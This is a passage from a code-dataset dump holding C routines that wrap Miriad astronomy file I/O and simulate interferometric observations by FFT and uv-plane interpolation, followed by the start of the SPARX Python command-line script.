Mem_CALLOC2(vars[i].n*2, sizeof(float));\n\t\t\t\tuvgetvrc_c(fp->tno, vars[i].name, vars[i].value, vars[i].n);\n\t\t\t\treturn;\n\n\t\t\tdefault: /* Should not happen */\n\t\t\t\tDeb_ASSERT(0);\n\t\t\t\treturn;\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_ListWrite(MirVar vars[], MirFile *fp)\n{\n\tsize_t i;\n\n\tfor(i = 0; vars[i].name; i++) {\n\t\tswitch(vars[i].type) {\n\t\t\tcase 'a':\n\t\t\t\t//uvputvra_c(fp->tno, vars[i].name, vars[i].value);\n\t\t\t\tuvputvr_c(fp->tno, H_BYTE, vars[i].name, vars[i].value, (int)strlen(vars[i].value));\n\t\t\t\tbreak;\n\n\t\t\tcase 'j':\n\t\t\t\tuvputvrj_c(fp->tno,vars[i].name,vars[i].value,vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'i':\n\t\t\t\tuvputvri_c(fp->tno,vars[i].name,vars[i].value,vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'r':\n\t\t\t\tuvputvrr_c(fp->tno,vars[i].name,vars[i].value,vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'd':\n\t\t\t\tuvputvrd_c(fp->tno,vars[i].name,vars[i].value,vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'c':\n\t\t\t\tuvputvrc_c(fp->tno,vars[i].name,vars[i].value,vars[i].n);\n\t\t\t\treturn;\n\n\t\t\tdefault: /* Shouldn't happen */\n\t\t\t\tDeb_ASSERT(0);\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_SetWidth(MirVar vars[], const char *name, int n)\n{\n\tMirVar *vp;\n\n\tvp = MirVar_ListLookup(vars, name);\n\tvp->n = n;\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_SetValue_a(MirVar vars[], const char *name, const char *value)\n{\n\tMirVar_SetValue(vars, name, value);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_SetValue_i(MirVar vars[], const char *name, int value)\n{\n\tMirVar_SetValue(vars, name, &value);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_SetValue_r(MirVar vars[], const char *name, double value)\n{\n\tfloat fdum = (float)value;\n\n\tMirVar_SetValue(vars, name, &fdum);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_SetValue_d(MirVar vars[], const char *name, double value)\n{\n\tMirVar_SetValue(vars, name, &value);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_SetValue(MirVar vars[], const char *name, const void *value)\n{\n\tint i;\n\tMirVar *var = NULL;\n\n\t/*locate variable*/\n\tvar = MirVar_ListLookup(vars, name);\n\tDeb_ASSERT(var != NULL);\n\n\t/*free original values*/\n\tif(var->value) {\n\t\tfree(var->value);\n\t\tvar->value = NULL;\n\t}\n\n\t/*write new values*/\n\tswitch(var->type) {\n\t\t\tcase 'a':\n\t\t\t\tvar->value = Mem_STRDUP((const char *)value);\n\t\t\t\tbreak;\n\n\t\t\tcase 'j':\n\t\t\t\tvar->value = Mem_CALLOC2(var->n, sizeof(int));\n\t\t\t\tfor(i = 0; i < var->n; i++) {\n\t\t\t\t\t*((int *)var->value+i) = *((const int *)value+i);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'i':\n\t\t\t\tvar->value = Mem_CALLOC2(var->n,sizeof(int));\n\t\t\t\tfor(i = 0; i < var->n; i++) {\n\t\t\t\t\t*((int *)var->value+i) = *((const int *)value+i);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'r':\n\t\t\t\tvar->value = Mem_CALLOC2(var->n,sizeof(float));\n\t\t\t\tfor(i = 0; i < var->n; i++) {\n\t\t\t\t\t*((float *)var->value+i) = *((const float *)value+i);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'd':\n\t\t\t\tvar->value = Mem_CALLOC2(var->n,sizeof(double));\n\t\t\t\tfor(i = 0; i < var->n; i++) {\n\t\t\t\t\t*((double *)var->value+i) = *((const double *)value+i);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'c':\n\t\t\t\tvar->value = Mem_CALLOC2(var->n*2,sizeof(float));\n\t\t\t\tfor(i = 0; i < var->n; i++) {\n\t\t\t\t\t*((float *)var->value+i*2) = *((const float *)value+i*2);\n\t\t\t\t\t*((float *)var->value+i*2+1) = *((const float *)value+i*2+1);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_ListCleanup(MirVar vars[])\n{\n\tMirVar *var = NULL;\n\n\tfor(var = &vars[0]; var->name; var++) {\n\t\tif(var->value) {\n\t\t\tfree(var->value);\n\t\t\tvar->value = NULL;\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMirImg *MirImg_Alloc(MirImg_Axis x, MirImg_Axis y, MirImg_Axis v)\n{\n\tMirImg *img = Mem_CALLOC(1, img);\n\n\t/* Some error checking */\n\tDeb_ASSERT(x.n > 0);\n\tDeb_ASSERT(y.n > 0);\n\tDeb_ASSERT(v.n > 0);\n\n\timg->x = x;\n\timg->y = y;\n\timg->v = v;\n\t/* First index of image is V!!! */\n\timg->cube = Mem_CALLOC(v.n * x.n * y.n, img->cube);\n\n\treturn img;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirImg_Free(void *img_p)\n{\n\tMirImg *img = img_p;\n\n\tif(img->cube)\n\t\tfree(img->cube);\n\n\tfree(img);\n}\n\n/*----------------------------------------------------------------------------*/\n\nMirFile *MirUV_Open(const char *name, const char *mode)\n{\n\tint tno;\n\tMirFile *fp;\n\n\tuvopen_c(&tno, name, mode);\n\tfp = Mem_CALLOC(1, fp);\n\tfp->name = Mem_STRDUP(name);\n\tfp->tno = tno;\n\n\treturn fp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirUV_Close(void *fp)\n{\n\tMirFile *f = fp;\n\n\tDeb_ASSERT(f->tno > 0);\n\n\tfree(f->name);\n\tuvclose_c(f->tno);\n\tfree(fp);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMirFile *MirXY_Open_new(const char *name, size_t nx, size_t ny, size_t nv)\n{\n\tint nsize[3] = {(int)nx, (int)ny, (int)nv}, tno;\n\tMirFile *fp;\n\n\txyopen_c(&tno, name, \"new\", 3, nsize);\n\tfp = Mem_CALLOC(1, fp);\n\tfp->name = Mem_STRDUP(name);\n\tfp->tno = tno;\n\n\treturn fp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMirFile *MirXY_Open_old(const char *name, size_t *nx, size_t *ny, size_t *nv)\n/* In \"old\" mode of xyopen_c, the cube dimensions are stored in the nsize\n * parameter upon success */\n{\n\tint nsize[3] = {0, 0, 0}, tno;\n\tMirFile *fp;\n\n\txyopen_c(&tno, name, \"old\", 3, nsize);\n\n\t*nx = (size_t)nsize[0];\n\t*ny = (size_t)nsize[1];\n\t*nv = (size_t)nsize[2];\n\n\tfp = Mem_CALLOC(1, fp);\n\tfp->name = Mem_STRDUP(name);\n\tfp->tno = tno;\n\n\treturn fp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirXY_Close(void *fp)\n{\n\tMirFile *f = fp;\n\n\tDeb_ASSERT(f->tno > 0);\n\n\tfree(f->name);\n\txyclose_c(f->tno);\n\tfree(fp);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirWr_SetBugLabel(const char *name)\n{\n\tbuglabel_c(name);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble *MirImg_LoadXYV(const char *fname, MirImg_Axis *x, MirImg_Axis *y, MirImg_Axis *v, char **bunit)\n{\n\tMirFile *xy;\n\tMirImg *img;\n\tsize_t i, j, k;\n\tdouble *cube = 0;\n\n\tMem_BZERO(x);\n\tMem_BZERO(y);\n\tMem_BZERO(v);\n\n\txy = MirXY_Open_old(fname, &x->n, &y->n, &v->n);\n\timg = MirImg_Alloc(*x, *y, *v);\n\tMirImg_ReadXY(xy, img, bunit);\n\n\t*x = img->x;\n\t*y = img->y;\n\t*v = img->v;\n\tcube = Mem_CALLOC(x->n * y->n * v->n, cube);\n\n\tfor(k = 0; k < img->v.n; k++) {\n\t\tfor(j = 0; j < img->y.n; j++) {\n\t\t\tfor(i = 0; i < img->x.n; i++) {\n\t\t\t\tcube[k + v->n * (j + y->n * i)] = MirImg_PIXEL(*img, k, i, j);\n\t\t\t}\n\t\t}\n\t}\n\n\tMirImg_Free(img);\n\tMirXY_Close(xy);\n\n\treturn cube;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirImg_ReadXY(MirFile *fp, MirImg *image, char **bunit)\n{\n\tchar sval[BUFSIZ] = \"\";\n\tint i, j, k;\n\tint ind;\n\tfloat *row = NULL;\n\n\t/************************************************************************/\n\t/* axis 1--RA */\n\t/************************************************************************/\n\trdhda_c(fp->tno,\"ctype1\", sval, \"\", BUFSIZ);\n\trdhdd_c(fp->tno,\"crpix1\", &image->x.crpix, 0.0);\n\tDeb_ASSERT(image->x.crpix > 0);\n\timage->x.crpix -= 1; /* Indices are offset-1 in Miriad */\n\trdhdd_c(fp->tno,\"crval1\", &image->x.crval, 0.0);\n\trdhdd_c(fp->tno,\"cdelt1\", &image->x.delt, 0.0);\n\n\t/************************************************************************/\n\t/* axis 2--DEC */\n\t/************************************************************************/\n\trdhda_c(fp->tno,\"ctype2\", sval, \"\", BUFSIZ);\n\trdhdd_c(fp->tno,\"crpix2\", &image->y.crpix, 0.0);\n\tDeb_ASSERT(image->y.crpix > 0);\n\timage->y.crpix -= 1; /* Indices are offset-1 in Miriad */\n\trdhdd_c(fp->tno,\"crval2\", &image->y.crval, 0.0);\n\trdhdd_c(fp->tno,\"cdelt2\", &image->y.delt, 0.0);\n\n\t/************************************************************************/\n\t/* axis 3--VEL */\n\t/************************************************************************/\n\trdhda_c(fp->tno,\"ctype3\", sval, \"\", BUFSIZ);\n\trdhdd_c(fp->tno,\"crpix3\", &image->v.crpix, 0.0);\n\tDeb_ASSERT(image->v.crpix > 0);\n\timage->v.crpix -= 1; /* Indices are offset-1 in Miriad */\n\trdhdd_c(fp->tno,\"crval3\", &image->v.crval, 0.0);\n\trdhdd_c(fp->tno,\"cdelt3\", &image->v.delt, 0.0);\n\timage->v.crval *= 1000.0; /* km/s -> m/s */\n\timage->v.delt *= 1000.0; /* km/s -> m/s */\n\n\t/* bunit */\n\tstrcpy(sval,\"\");\n\trdhda_c(fp->tno,\"bunit\",sval,\"\",BUFSIZ);\n\tif(bunit && strcmp(sval,\"\")) {\n\t\t*bunit = Mem_STRDUP(sval);\n\t}\n\n\t/* Rest frequency */\n\trdhdd_c(fp->tno, \"restfreq\", &image->restfreq, 0.0);\n\timage->restfreq *= 1.0e9; /* GHz -> Hz */\n\n\tDeb_ASSERT(image->cube != NULL);\n\n\t/* Loop through channels */\n\tfor(k = 0; k < (int)image->v.n; k++) {\n\t\tind = k + 1;\n\t\txysetpl_c(fp->tno, 1, &ind);\n\n\t\t/* Loop through rows */\n\t\tfor(j = 0; j < (int)image->y.n; j++) {\n\t\t\t/* Allocate row */\n\t\t\trow = Mem_CALLOC(image->x.n, row);\n\n\t\t\t/* Read row from file */\n\t\t\txyread_c(fp->tno, j + 1, row);\n\n\t\t\t/* Load row into cube */\n\t\t\tfor(i = 0; i < (int)image->x.n; i++) {\n\t\t\t\tMirImg_PIXEL(*image, k, i, j) = row[i];\n\t\t\t}\n\n\t\t\t/* Free row */\n\t\t\tfree(row);\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirImg_WriteXY(MirFile *fp, const MirImg *image, const char *bunit, double bfac)\n/* Write cube of data (with dimensions x->n * y->n * v->n) to a\n * Miriad image dataset. All error handling is done by Miriad routines, which\n * are all fatal -- so I guess I don't need to bother with error handling here.\n *\n * Values of ImgAxis->delt must be physically reasonable, or Miriad will have\n * trouble displaying the image. */\n{\n\tsize_t i, j, k;\n\tint idx;\n\tfloat *row;\n\n\t/************************************************************************/\n\t/* Axis 1--RA */\n\t/************************************************************************/\n\twrhda_c(fp->tno, \"ctype1\", \"RA---SIN\");\n\twrhdd_c(fp->tno, \"crpix1\", image->x.crpix + 1.0); /* Indices are offset-1 in Miriad */\n\twrhdd_c(fp->tno, \"crval1\", image->x.crval);\n\twrhdd_c(fp->tno, \"cdelt1\", image->x.delt);\n\n\t/************************************************************************/\n\t/* Axis 2--DEC */\n\t/************************************************************************/\n\twrhda_c(fp->tno, \"ctype2\", \"DEC--SIN\");\n\twrhdd_c(fp->tno, \"crpix2\", image->y.crpix + 1.0); /* Indices are offset-1 in Miriad */\n\twrhdd_c(fp->tno, \"crval2\", image->y.crval);\n\twrhdd_c(fp->tno, \"cdelt2\", image->y.delt);\n\n\t/************************************************************************/\n\t/* Axis 3--VEL */\n\t/************************************************************************/\n\twrhda_c(fp->tno, \"ctype3\", \"VELO-LSR\");\n\twrhdd_c(fp->tno, \"crpix3\", image->v.crpix + 1.0); /* Indices are offset-1 in Miriad */\n\twrhdd_c(fp->tno, \"crval3\", image->v.crval);\n\twrhdd_c(fp->tno, \"cdelt3\", image->v.delt / 1000.0); /* Convert to km/s */\n\n\t/* Brightness unit */\n\twrhda_c(fp->tno, \"bunit\", bunit);\n\n\t/* Rest frequency */\n\twrhdd_c(fp->tno, \"restfreq\", image->restfreq / 1.0e9); /* Hz -> GHz */\n\n\t/* Loop through all channels and write cube data */\n\tfor(k = 0; k < image->v.n; k++) {\n\t\t/* Select appropriate plane (indices start with 1 as always) */\n\t\tidx = (int)k + 1;\n\t\txysetpl_c(fp->tno, 1, &idx);\n\n\t\t/* Loop through rows */\n\t\tfor(j = 0; j < image->y.n; j++) {\n\t\t\t/* Allocate row buffer */\n\t\t\trow = Mem_CALLOC(image->x.n, row);\n\n\t\t\t/* Load cube data into row */\n\t\t\tfor(i = 0; i < image->x.n; i++)\n\t\t\t\trow[i] = (float)(MirImg_PIXEL(*image, k, i, j) * bfac);\n\n\t\t\t/* Write row of data to file */\n\t\t\tidx = (int)j + 1;\n\t\t\txywrite_c(fp->tno, idx, row);\n\n\t\t\t/* Free row buffer */\n\t\t\tfree(row);\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirImg_UVResamp(MirImg *image, MirFile *uvin, MirFile *uvout)\n/* this program simulates the effect of interferometric observation\n by doing an FFT on the 'image' channel maps, and producing\n nvis visbilities according to the Miriad dataset (tno) specified by\n the user. */\n{\n\tsize_t i, nx = image->x.n, ny = image->y.n, nchan = image->v.n;\n\tint *flags, /* nwide, */ nspect, nants, nread = 0;\n\tdouble *preamble, *chan, *chan_real, *chan_imag, *uarr, *varr,\n\t umax, vmax, uu, vv, restfreq, dfreq, sfreq;\n\tMirImg *fft_real, *fft_imag;\n\tfloat *data;\n\tMirVar uv_vars[] = {\n\t\t/* Variables that are commented out, are those that are not\n\t\t * absolutely necessary */\n\t\t//{'a', \"observer\", NULL, 0},\n\t\t{'a', \"telescop\", NULL, 0},\n\t\t{'a', \"version\", NULL, 0},\n\t\t//{'d', \"latitud\", NULL, 1},\n\t\t{'i', \"nants\", NULL, 1},\n\t\t//{'r', \"pbfwhm\", NULL, 1},\n\t\t{'a', \"source\", NULL, 0},\n\t\t{'d', \"ra\", NULL, 1},\n\t\t{'d', \"dec\", NULL, 1},\n\t\t{'r', \"epoch\", NULL, 1},\n\t\t{'d', \"obsra\", NULL, 1},\n\t\t{'d', \"obsdec\", NULL, 1},\n\t\t{'a', \"veltype\", NULL, 1},\n\t\t{'r', \"veldop\", NULL, 1},\n\t\t{'r', \"vsource\", NULL, 1},\n\t\t{'d', \"lo1\", NULL, 1},\n\t\t//{'i', \"nwide\", NULL, 1},\n\t\t//{'r', \"wfreq\", NULL, 0},\n\t\t//{'r', \"wwidth\", NULL, 0},\n\t\t//{'i', \"numchan\", NULL, 1},\n\t\t{'i', \"nspect\", NULL, 1},\n\t\t{'d', \"restfreq\", NULL, 0},\n\t\t{'d', \"sfreq\", NULL, 0},\n\t\t{'d', \"sdf\", NULL, 0},\n\t\t{'i', \"nschan\", NULL, 0},\n\t\t{'i', \"ischan\", NULL, 0},\n\t\t{'i', \"npol\", NULL, 1},\n\t\t{'i', \"cormode\", NULL, 1},\n\t\t{'r', \"corfin\", NULL, 4},\n\t\t//{'r', \"corbw\", NULL, 2},\n\t\t{'d', \"antpos\", NULL, 0},\n\t\t{0, 0, 0, 0}\n\t},\n\tinteg_vars[] = {\n\t\t{'r', \"inttime\", NULL, 1},\n\t\t{'d', \"ut\", NULL, 1},\n\t\t{'d', \"lst\", NULL, 1},\n\t\t{'r', \"wsystemp\", NULL, 0},\n\t\t{'r', \"systemp\", NULL, 0},\n\t\t{'i', \"pol\", NULL, 1},\n\t\t{'r', \"jyperk\", NULL, 1},\n\t\t{0, 0, 0, 0}\n\t};\n\n\t/* Sanity checks */\n\tDeb_ASSERT(image->restfreq > 0);\n\tDeb_ASSERT(image->v.delt > 0);\n\n\t/* Allocate arrays */\n\tflags = Mem_CALLOC(MAXCHAN, flags);\n\tpreamble = Mem_CALLOC(MAXCHAN, preamble);\n\tdata = Mem_CALLOC(MAXCHAN, data);\n\n\t/* Acquire info from input dataset */\n\t/* Read first record (required by Miriad UV format) */\n\tuvread_c(uvin->tno, preamble, data, flags, MAXCHAN, &nread);\n\n\t/************************************************************************/\n\t/* Setup Header */\n\t/************************************************************************/\n\t/* Set data width of UV variables (must be set before reading\n\t * from file or Miriad will complain about it */\n\tuvgetvri_c(uvin->tno, \"nspect\", &nspect, 1);\n\tuvgetvri_c(uvin->tno, \"nants\", &nants, 1);\n\tMirVar_SetWidth(uv_vars, \"restfreq\", nspect);\n\tMirVar_SetWidth(uv_vars, \"sfreq\", nspect);\n\tMirVar_SetWidth(uv_vars, \"sdf\", nspect);\n\tMirVar_SetWidth(uv_vars, \"nschan\", nspect);\n\tMirVar_SetWidth(uv_vars, \"ischan\", nspect);\n\tMirVar_SetWidth(uv_vars, \"antpos\", nants * 3);\n\n\t/* Wide-band variables -- currently defunct */\n\t//uvgetvri_c(uvin->tno, \"nwide\", &nwide, 1);\n\t//MirVar_SetWidth(uv_vars, \"wfreq\", nwide);\n\t//MirVar_SetWidth(uv_vars, \"wwidth\", nwide);\n\n\t/* Set data width of integration variables */\n\tMirVar_SetWidth(integ_vars, \"wsystemp\", nants * (2 + nspect));\n\tMirVar_SetWidth(integ_vars, \"systemp\", nants * nspect);\n\n\t/* Read UV variables from input UV dataset */\n\tMirVar_ListRead(uv_vars, uvin);\n\n\t/* One image contains only one spectral window */\n\tnspect = 1;\n\n\t/* Widths must be reset if nspect has changed */\n\tMirVar_SetWidth(uv_vars, \"restfreq\", nspect);\n\tMirVar_SetWidth(uv_vars, \"sfreq\", nspect);\n\tMirVar_SetWidth(uv_vars, \"sdf\", nspect);\n\tMirVar_SetWidth(uv_vars, \"nschan\", nspect);\n\tMirVar_SetWidth(uv_vars, \"ischan\", nspect);\n\n\t/* Calculate frequency spacing from image velocity difference */\n\trestfreq = image->restfreq;\n\n\t/* Channel width is minus Doppler-shifted velocity width */\n\tdfreq = -(Phys_DoppShiftFreq(restfreq, image->v.delt) - restfreq);\n\t\n\t/* Channel 1 frequency is restfreq + bw/2:\n\t * high-freq --> blueshift --> negative velocity\n\t * low-freq --> redshift --> positive velocity\n\t */\n\tsfreq = restfreq + 0.5 * fabs((int)nchan * dfreq);\n\n\t/* Modify UV variables */\n\t//MirVar_SetValue_i(uv_vars, \"numchan\", (int)nchan);\n\t//MirVar_SetValue_r(uv_vars, \"veldop\", 0.0); /* Observatory velocity */\n\tMirVar_SetValue_i(uv_vars, \"nspect\", nspect); /* Number of spectral windos */\n\tMirVar_SetValue_i(uv_vars, \"nschan\", (int)nchan); /* Number of spectral channels */\n\tMirVar_SetValue_i(uv_vars, \"ischan\", 1); /* Starting channel */\n\tMirVar_SetValue_d(uv_vars, \"restfreq\", restfreq / 1.0e9); /* Window rest frequency: Hz -> GHz */\n\tMirVar_SetValue_d(uv_vars, \"sfreq\", sfreq / 1.0e9); /* Frequency of starting channel: Hz -> GHz */\n\tMirVar_SetValue_d(uv_vars, \"sdf\", dfreq / 1.0e9); /* Channel width: Hz -> GHz */\n\n\t/* Write UV variables to output UV dataset */\n\tMirVar_ListWrite(uv_vars, uvout);\n\n\t/* `npol' must be present in the header, or the file can't be opened\n\t * by Miriad. We can handle only one polarization for now */\n\twrhdi_c(uvout->tno, \"npol\", 1);\n\n\t/* Read integration variables from input dataset */\n\tMirVar_ListRead(integ_vars, uvin);\n\n\t/************************************************************************/\n\t/* FFT */\n\t/************************************************************************/\n\t/* Datasets all set, now FFT all channel maps to prepare\n\t * for interpolation in uv-plane */\n\tfft_real = MirImg_Alloc(image->x, image->y, image->v);\n\tfft_imag = MirImg_Alloc(image->x, image->y, image->v);\n\tfor(i = 0; i < nchan; i++) {\n\t\tchan = MirImg_CHAN(*image, i);\n\t\tchan_real = MirImg_CHAN(*fft_real, i);\n\t\tchan_imag = MirImg_CHAN(*fft_imag, i);\n\t\tNumFFT_Xform2d(chan, nx, ny, chan_real, chan_imag);\n\t}\n\n\t/************************************************************************/\n\t/* Read and interpolate UV data */\n\t/************************************************************************/\n\t/* Setup uv-plane axes */\n\tuarr = Mem_CALLOC(nx, uarr);\n\tvarr = Mem_CALLOC(ny, varr);\n\tDeb_ASSERT((image->x.delt > 0) && (image->y.delt > 0));\n\n\t/* U_max and V_max are reciprocal of pixel size:\n\t * radians -> n_lambda */\n\tumax = 1.0 / image->x.delt;\n\tvmax = 1.0 / image->y.delt;\n\tfor(i = 0; i < nx; i++) {\n\t\tuarr[i] = -umax + (umax * 2.0 / (double)nx) * (double)i;\n\t}\n\tfor(i = 0; i < ny; i++) {\n\t\tvarr[i] = -vmax + (vmax * 2.0 / (double)ny) * (double)i;\n\t}\n\n\t/* Loop through visibilities */\n\twhile(nread > 0) {\n\t\t/* Unpack the preamble: preamble[0] and preamble[1] are uv coordinates\n\t\t * in nanoseconds; multiply be restfreq to convert to n_lambda */\n\t\tuu = preamble[0] * 1.0E-9 * restfreq;\n\t\tvv = preamble[1] * 1.0E-9 * restfreq;\n\n\t\t/* interpolate visibilities */\n\t\tfor(i = 0; i < nchan; i++) {\n\t\t\t/* Pointer to real and imag fft maps */\n\t\t\tchan_real = MirImg_CHAN(*fft_real, i);\n\t\t\tchan_imag = MirImg_CHAN(*fft_imag, i);\n\n\t\t\t/* Interpolate ONLY if u and v within range */\n\t\t\tif(fabs(uu) <= umax && fabs(vv) <= vmax) {\n\t\t\t\t/* Data is in complex format -- i*2=real, i*2+1=imag */\n\t\t\t\tdata[i*2] = (float)Num_InterpPoly2d(uu, vv, uarr, varr, chan_real, nx, ny, (size_t)3, (size_t)3);\n\t\t\t\tdata[i*2+1] = (float)Num_InterpPoly2d(uu, vv, uarr, varr, chan_imag, nx, ny, (size_t)3, (size_t)3);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t/* Otherwise flag as bad data -- set flag=0 */\n\t\t\t\tdata[i*2] = 0.0;\n\t\t\t\tdata[i*2+1] = 0.0;\n\t\t\t\tflags[i] = 0;\n\t\t\t}\n\t\t}\n\n\t\t/* Write integration variables to output dataset */\n\t\tMirVar_ListWrite(integ_vars, uvout);\n\n\t\t/* Write UV data to output dataset */\n\t\tuvwrite_c(uvout->tno, preamble, data, flags, (int)nchan);\n\n\t\t/* Read next record from input dataset */\n\t\tuvread_c(uvin->tno, preamble, data, flags, MAXCHAN, &nread);\n\n\t\t/* Read next set of integration variables from input dataset */\n\t\tMirVar_ListRead(integ_vars, uvin);\n\t}\n\n\t/* Cleanup */\n\tMirImg_Free(fft_real);\n\tMirImg_Free(fft_imag);\n\tfree(flags);\n\tfree(preamble);\n\tfree(data);\n\tMirVar_ListCleanup(uv_vars);\n\n\treturn;\n}\n\n\n\n" }, { "alpha_fraction": 0.631660521030426, "alphanum_fraction": 0.6409610509872437, "avg_line_length": 25.17766571044922, "blob_id": "bc4525f80e29317404d95ccb54f0da80608813d1", "content_id": "026a45cff582c6a8d8b13d720d17f39d5098cbe8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5161, "license_type": "no_license", "max_line_length": 136, "num_lines": 197, "path": "/bin/sparx", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\nimport os.path as path\n\n# Get root directory\nimport sparx\nroot_dir = path.realpath(path.dirname(sparx.__file__))\n\n# Some necessary imports\nfrom sparx import utils\nimport sparx._sparx as _sparx\n\n# Get message handler\nMesg = utils.MESG\n\n# Import tasks dictionary\nfrom sparx.tasks import TASK_DICT\n\n##\n## Command dictionary\n##\nCMD_DICT = {}\n\n##\n## The 'run' command\n##\ndef cmd_run(parser, opts, args):\n\tif not len(args) > 0:\n\t\tMesg.Bonk(\"No task specified\")\n\n\ttaskname = args[0]\n\tif taskname in TASK_DICT:\n\t\tTASK_DICT[taskname].run(args[1:])\n\telse:\n\t\tparser.error(\"'%s' is not a valid task\"%taskname)\n\treturn\n\nCMD_DICT['run'] = cmd_run\n\n##\n## The 'help' command\n##\ndef cmd_help(parser, opts, args):\n\t# Check length of arguments\n\tif not len(args) > 0:\n\t\tparser.print_help()\n\t\texit(0)\n\n\t# Import Type container\n\tfrom sparx.inputs import Type, PhysVal\n\t# Import list of molecules\n\tfrom sparx import MOLEC_LIST\n\tfrom sparx.physics import Molecule\n\n\t# Get topic from args[0]\n\ttopic = args[0]\n\n\t##\n\t## Documentation on tasks\n\t##\n\tif topic in TASK_DICT:\n\t\tMesg.Raw(TASK_DICT[topic].__doc__)\n\t##\n\t## Documentation on keyword types\n\t##\n\telif hasattr(Type, topic):\n\t\ttyp = getattr(Type, topic)\n\t\tif isinstance(typ, PhysVal):\n\t\t\tconvlst = sorted([[typ.convs[unit], unit] for unit in typ.convs])\n\t\t\tMesg.Raw(\"Keyword type '%s' accepts a string containing both a value and a unit, e.g. '1%s'.\\n\"%(typ.name, typ.unit)+\\\n\t\t\t\t \"The following units are available:\\n\")\n\t\t\tfor i in convlst:\n\t\t\t\tMesg.Raw(\" '%s' = %g [%s]\\n\" % (i[1], i[0], typ.unit))\n\t\telif typ.name == \"Molec\":\n\t\t\tmolec_list = [Molecule(i) for i in MOLEC_LIST]\n\t\t\tdef freq_comp(x, y):\n\t\t\t\tif x.min_freq < y.min_freq: return -1\n\t\t\t\telif x.min_freq > y.min_freq: return 1\n\t\t\t\telse: return 0\n\t\t\t#molec_list.sort(freq_comp) \n\t\t\timport os, re\n\t\t\tMesg.Raw(\"Keyword type 'Molec' accepts the following molecules:\\n\")\n\t\t\tMesg.Raw(\"%-20s\\t%-20s\\t%6s\\t%6s\\t%20s\\t%6s\\t%s\\n\" % (\"Molecule\", \"Chemical Name\", \"Levs\", \"Lines\", \"LowFreq\", \"Trans\", \"Partners\"))\n\t\t\tfor mol in molec_list:\n\t\t\t\tmolref = mol.chemname.split()\n\t\t\t\tnlev = mol.nlev\n\t\t\t\tnline = mol.nline\n\t\t\t\tncol = mol.ncol\n\t\t\t\tMesg.Raw(\"%-20s\\t%-20s\\t%6d\\t%6d\\t%17.5gMHz\\t%6d\\t\" % (mol.name, molref[0], nlev, nline, mol.line_freq[0]*1e-6, mol.col[0].ntrans)+\\\n\t\t\t\t\t \", \".join([\"%s\" % col.name for col in mol.col])+\"\\n\")\n\t\t\tMesg.Raw(\"\\n\")\n\t\t\tMesg.Raw(\"For detailed data on individual molecules, try 'help MOLEC'\")\n\t\telse:\n\t\t\tMesg.Raw(\"Keyword type '%s':\\n\"%typ.name)\n\t\t\tMesg.Raw(typ.__doc__)\n\t##\n\t## Documentation on molecules\n\t##\n\telif topic in MOLEC_LIST:\n\t\tmol = Molecule(topic)\n\t\tMesg.Raw(\"Molecular data for '%s':\\n\"%mol.name)\n\t\tMesg.Raw(\"File path: '%s'\\n\"%mol.path)\n\t\tMesg.Raw(\"%s\"%mol)\n\t##\n\t## No match\n\t##\n\telse:\n\t\tMesg.Err(\"No help available for '%s'\"%topic)\n\treturn\n\nCMD_DICT['help'] = cmd_help\n\n##\n## Setup command line parser\n##\ndef setup_parser():\n\tfrom optparse import OptionParser\n\n\t# Usage string\n\tusage = \"%prog [OPTIONS] COMMAND [TASK] [TASK OPTIONS] [KEY1=VAL1 KEY2=VAL2 ...]\\n\"+\\\n\t\"Type '%prog help COMMAND' for help on COMMAND\\n\"+\\\n\t\"Type '%prog help TASK' for help on TASK\\n\"+\\\n\t\"\\n\"+\\\n\t\"COMMAND can be one of the following:\\n\"+\\\n\t\"\\n\".join(sorted([\" \"+i for i in CMD_DICT]))+\"\\n\"+\\\n\t\"\\n\"+\\\n\t\"TASK can be one of the following:\\n\"+\\\n\t\"\\n\".join(sorted([\" \"+i for i in TASK_DICT]))\n\n\t# Version string\n\tversion = \"%prog \"+file(root_dir+\"/VERSION\").read()\n\n\t# Instantiate parser\n\tparser = OptionParser(usage=usage, version=version)\n\n\t# Disable interspersed argument parsing so that commands and tasks\n\t# can have options of their own\n\tparser.disable_interspersed_args()\n\t \n\t# Setup options\n\tparser.add_option(\"-d\", \"--debug\", dest=\"debug\", 